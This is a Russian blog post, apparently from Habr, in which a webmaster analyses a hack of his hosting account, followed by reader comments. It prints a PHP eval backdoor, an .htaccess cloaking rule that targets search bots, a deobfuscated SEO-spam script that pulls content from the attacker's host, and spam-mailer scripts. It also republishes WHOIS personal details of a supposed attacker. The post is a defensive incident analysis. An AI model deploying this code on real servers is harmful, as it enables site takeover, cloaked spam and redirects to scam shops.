Всем привет, я вебмастер и меня виагра

85e5dc8e90347e8d8800c0e1f933b930.jpg

Доброго времени суток Хабр,

Заголовок конечно же врёт, я не вебмастер. Точнее сказать, не могу зваться им после произошедшего. Я расскажу о том, как взломали мой хостинг и как я это событие проглядел, заметив лишь случайно, а также немного расследования. Надеюсь, мой опыт окажется полезным. Всем кому интересно, добро пожаловать под кат.

Как всё выяснилось
О взломе я узнал совершенно случайно, т.к. все сайты на хостинге работали, открывались и выглядели подобающе приличным страницам, без лишнего контента. Следует отметить, что до этого я никогда не пользовался Google Search Console, а только подключал Google Analytics. Но создав очередную страницу, я решил попробовать инструмент. И вот, Search Console подключен к сайту и пришло время посмотреть на что он способен.

Одна из функций консоли это Fetch as Google, т.е запуск бота гугла на страницах сайта, и я сразу же его пустил на главную сайта. И тут я ничего не понял… с браузера страница открывается, а бот пишет что страница не найдена. Что то тут не так, подумал я, но продолжал запускать бота, наивно полагая что бот гугла сломался.

3b503e113c2f3a73987071fa2f17f469.png

Разбираемся в произошедшем
Так как Search Console не предоставляет подробной информации об ошибке (что очень печально, на мой взгляд), я воспользовался сервисом http://web-sniffer.net чтобы проэмулировать работу гуглбота и заодно проверить виден ли сайт с другой точки планеты. Задал сайт *******.**, который должен открывать единственный index.php файл, вбил капчу и получил эту самую страницу 404.


404 Not Found

Not Found

The requested URL /ХХХХХХХХХХ/bootlegger-limiter.php was not found on this server.

Additionally, a 500 Internal Server Error error was encountered while trying to use an ErrorDocument to handle the request.


Apache Server at *******.** Port 80

Какой ещё bootlegger-limiter.php подумал я и быстро подключился к хостингу. Дело в том, что сайт *******.** лежит в подкаталоге основного сайта (который в корне). И я действительно обнаружил в корне bootlegger-limiter.php. А бота перенаправил, судя по всему, Apache. Открыл .htaccess, а там добавлены следующие строки:

RewriteEngine on

RewriteCond %{ENV:REDIRECT_STATUS} 200
RewriteRule ^ - [L]
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
RewriteRule ^(.*)$ bootlegger-limiter.php?$1 [L]

Иными словами поисковым ботам и людям, которые перешли на сайт с поисковых систем, показывали страницу обработанную в bootlegger-limiter.php.

Вот это поворот. Решил посмотреть ради интереса что им показывалось. Набрал в гугле «site: *******.**»:

51524b1edb730f3798fe52c067ced577.png

Ок гугл, всё понятно. Меня слегка удивило, что бот гугла не проверяет разницу контентов полученных с HTTP заголовками бота и браузера chrome, например. Но может я неправ и это проверяется, поэтому в выдаче появилась надпись, что сайт возможно был взломан.

Вот таким нехитрым образом можно скомпрометировать сайт в поисковиках, а ничего не подозревающий владелец может этого и не заметить. Я не знаю как именно взломали хостинг, т.к. на нём не висят сайты использующие CMS. Единственный сайт с популярным фреймворком был на Yii, но судя по всему он тут не причём, т.к. по методу похоже что делалось всё автоматически, а упомянутый фреймворк сложно взломать не зная структуры сайта. Как мне кажется, пароль от моего аккаунта просто пробрутфорсили. Ниже я расскажу какие файлы мне подбросили и какую функцию они выполняли.

Разбор полёта червя
Итак, для начала список исполняемых файлов кукушки, когда они были подброшены и их содержание:
kfcgmxuu.php — 3 апреля 2016

.htaccess — 5 апреля 2016
RewriteEngine on

RewriteCond %{ENV:REDIRECT_STATUS} 200
RewriteRule ^ - [L]
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
RewriteRule ^(.*)$ bootlegger-limiter.php?$1 [L]

bootlegger-limiter.php — 5 апреля 2016

enthusiasms-raw.php — 9 октября 2016
 0){

	
if(isset($_POST["chk"])){

	
    $val = array();

	
    $val["res"] = 1;

	
    print json_encode($val);

	
}else{

	
    $post_data = array_values(array_map('stripslashes', $_POST));

	
    $m_data = explode("|||", base64_url_decode(strrev($post_data[0])));

	
    if(count($m_data) > 1){

	
	
    $val = array();

	
	
    if(mail($m_data[0], $m_data[1], $m_data[2], $m_data[3])){

	
	
        $val["mail"] = 1;

	
	
    } else{

	
	
        $val["mail"] = 0;

	
	
    }

	
	
    print json_encode($val);

	
    }

    }

}



if(isset($_GET) and count($_GET) > 0){

    $url = "";

    $redic = array_values($_GET);

    foreach(str_split(base64_url_decode($redic[0])) as $letter){

            if(rand(1,3) == 1){

                    $url .= $letter;

            }else{

                    $url .= $letter."'+'";

            }

    }

?>





Redirecting







Loading...




equaling-intangibles.php — 9 октября 2016
 0){

	
if(isset($_POST["chk"])){

	
    $val = array();

	
    $val["res"] = 1;

	
    print json_encode($val);

	
}else{

	
    $post_data = array_values(array_map('stripslashes', $_POST));

	
    $m_data = explode("|||", base64_url_decode(strrev($post_data[0])));

	
    if(count($m_data) > 1){

	
	
    $val = array();

	
	
    if(mail($m_data[0], $m_data[1], $m_data[2], $m_data[3])){

	
	
        $val["mail"] = 1;

	
	
    } else{

	
	
        $val["mail"] = 0;

	
	
    }

	
	
    print json_encode($val);

	
    }

    }

}



if(isset($_GET) and count($_GET) > 0){

    $url = "";

    $redic = array_values($_GET);

    foreach(str_split(base64_url_decode($redic[0])) as $letter){

            if(rand(1,3) == 1){

                    $url .= $letter;

            }else{

                    $url .= $letter."'+'";

            }

    }

?>





Redirecting







Loading...




Начнём с самых ранних файлов, которые попали на сервер в апреле (kfcgmxuu.php и bootlegger-limiter.php). Они разумеется обфусцированы. Поэтому я их привёл в читаемый вид и посмотрел что же они делают.

Самым первым появился kfcgmxuu.php, вот что он делает.

$i = array_merge($_REQUEST,$_COOKIE,$_SERVER);
$a = isset($i["elvivsvq"])?$i["elvivsvq"]:(isset($i["HTTP_ELVIVSVQ"])?$i["HTTP_ELVIVSVQ"]:die);
eval(strrev(base64_decode(strrev($a)));

На сайт в cookies, заголовках либо в аргументах с названием elvivsvq посылается закодированный при помощи MIME base64 и еще перевёрнутый 2 раза код и выполняется. После этого момента злоумышленник получает полный контроль над файловой системой хостинга к которой имеет доступ веб сервер. Это бэкдор, через который всё остальное и будет просачиваться.

Далее при помощи этого бэкдора редактируется .htaccess и добавляется bootlegger-limiter.php, а вот и он, деобфусцированный:

Показать код
' . "\n";
        echo '' . "\n";
        echo '404 Not Found' . "\n";
        echo '' . "\n";
        echo '

Not Found

' . "\n";        echo '

The requested URL ' . $_SERVER['REQUEST_URI'] . ' was not found on this server.

' . "\n";        echo '
' . "\n";        echo '
' . $_SERVER['SERVER_SOFTWARE'] . ' PHP/' . phpversion() . ' Server at ' . $_SERVER['HTTP_HOST'] . ' Port 80
' . "\n";        echo '';        exit;    } else {        $crurl = "http://" . @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];        $buf = get_page_by_curl($crurl);        $curx = $cdir . "fff.sess";        if (@file_exists($curx)) {            $links = @file($curx, FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES);            $c = @count($links) - 1;            shuffle($links);            if ($c > 20)                $c = 20;            $regexp = "]*href=(\"??)([^\" >]*?)\\1[^>]*>(.*)<\/a>";            if (preg_match_all("/$regexp/siU", $buf, $matches)) {                $zval = $matches[0];                shuffle($zval);                foreach ($zval as $val) {                    if ($c < 0)                        break;                    list($l, $anchor) = explode("|||", trim($links[$c]));                    $new = '' . $anchor . '';                    $buf = str_ireplace($val, $new, $buf);                    $c--;                }            }        }        echo $buf;    } }

И вкратце что тут происходит. Во первых, тут есть проверка пароля (как ни странно, вроде и бэкдор уже есть без какого либо пароля, а тут). Первый блок нужен чтобы проверить сработал ли бэкдор и чтобы распаковывать файлы. На момент написания статьи, файлы которые скачиваются с сервера злоумышленника были удалены.

Кстати о сервере злоумышленника. Домен зарегистрирован как «f.gghijacktest.com». По Whois удалось узнать что он принадлежит человеку с данными:

Имя: Gabriel Northrup
Адрес: str. Ivana Cupala 1, Ljubljana NE 4111 SI
Телефон: +714022420218
Email: vlasigor3@gmail.com

Может кто знает человека ;)

Вернёмся к коду. Файлы с сервера злоумышленника сохраняются во временном каталоге на сервере, у меня это была папка »~/tmp» и я нашел в ней папку с именем .md5(мой домен), в которой лежали изменённые страницы моего сайта, они нужны только для ботов. Т.е. в поисковике они отображаются как мой сайт, но с непотребным текстом. А вот если на страницы сайта из поисковика заходит пользователь, то им отображался магазин пилюль по адресу f.gghijacktest.com/lp.php, но в адресе браузера, разумеется, показывается мой домен.

Всех остальных, кто попал на сайт не из поисковиков, либо напрямую ждала, обычная страница, где ссылки пытаются заменить на другие, но этого у меня не происходило т.к. я не нашёл у себя соответствующий файл fff.sess.

А теперь разберём .htaccess:

RewriteEngine on
RewriteCond %{ENV:REDIRECT_STATUS} 200
RewriteRule ^ - [L]
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
RewriteRule ^(.*)$ bootlegger-limiter.php?$1 [L]

Тут происходит самое главное, перенаправление ботов и людей из поисковиков в выше разобранный скрипт. 2-я и 3-я строки говорят что надо остановиться после первого удачного применения правил. А последующие строки собственно и определяют правила для ботов и поисковиков и перенаправляют их на bootlegger-limiter.php.

Что касается двух остальных скриптов enthusiasms-raw.php и equaling-intangibles.php, то они абсолютно одинаковые и предназначены, судя по функции mail, для рассылки спама.

Заключение
Вот таким нехитрым образом злоумышленник может воспользоваться вашим сервером и вы, возможно, как и я даже не заметите этого. Стоит отметить, что на этом сервере у меня не хранится ничего важного и поэтому в него я заглядываю очень редко. Но даже если бы и заглядывал почаще, то ничего не подозревая, может и не заметил бы пару лишних файлов.

В комментариях можете рассказать о ваших способах борьбы с подобными атаками, думаю многим это будет интересно.

Надеюсь, мой опыт окажется полезным, и вы в очередной раз проверите свои сервера на наличие таких вот простых бэкдоров. Спасибо за внимание.

Комментарии (16)

  • 24 октября 2016 в 11:21

    0

    .htaccess закрывать 444 правами… ну зачем… да?
    • 24 октября 2016 в 11:26

      0

      Если взломали сервер, это не поможет.
      • 24 октября 2016 в 11:32

        0

        файлы можно загрузить и не имея доступа к серверу.
        К автору статьи — (он так и не выяснил причины взлома) — так какие права на файл .htaccess были?
        • 24 октября 2016 в 11:38

          0

          404, как ни странно. Но я еще раз повторю, права на файл можно менять.
          • 24 октября 2016 в 11:42

            0

            Тогда ок. Просто этот аспект вы упустили в описании выявления взлома.

            У вас не был подключен яндекс вебмастер? Он присылает письма если сайт заражен

            • 24 октября 2016 в 11:46

              0

              Был подключен только Google Analytics, который письмо не прислал. Search Console по идее тоже должен уведомлять.
  • 24 октября 2016 в 11:33

    0

    А потом меня еще спрашивают, за что я на люблю PHP…
    • 24 октября 2016 в 11:49

      +1

      При наличии возможности заливать файлы на сервер язык программирования уже не имеет значения.
      • 24 октября 2016 в 11:55

        0

        в связке, например, nginx + nodejs такой взлом вряд ли удастся., а если еще все разнести в docker контейнеры, то все интереснее становится. для взломщика, конечно.


        я не говорю что невозможно, но гораздо сложнее взломать простой заливкой файлов. на шаред хостинге так кончено не настроишься

    • 24 октября 2016 в 11:50

      +2

      А при чем тут PHP? Взломали то не через него, как пишет автор.
      • 24 октября 2016 в 11:52

        0

        Это маловероятно, но не исключено. Т.к. заметил поздно, логов никаких не сохранилось. Но Yii взламывать, как написал в статье, не зная структуру сайта сложно.
  • 24 октября 2016 в 12:01 (комментарий был изменён)

    0

    Любляна, Ивана Цупала? Серьезно? :)
  • 24 октября 2016 в 12:04

    –3

    >и меня виагра
    Автор вы русский? Какие ваши доказательства?
  • 24 октября 2016 в 12:04

    0

    Какая версия php на сервере?
    • 24 октября 2016 в 12:06

      –1

      5.3
  • 24 октября 2016 в 12:04

    0

    > Вы проверили ваши сервера после прочтения?

    Когда??? Я едва дочитал текст и сразу наткнулся на опрос. Дайте хоть пару минут :-)

© Habrahabr.ru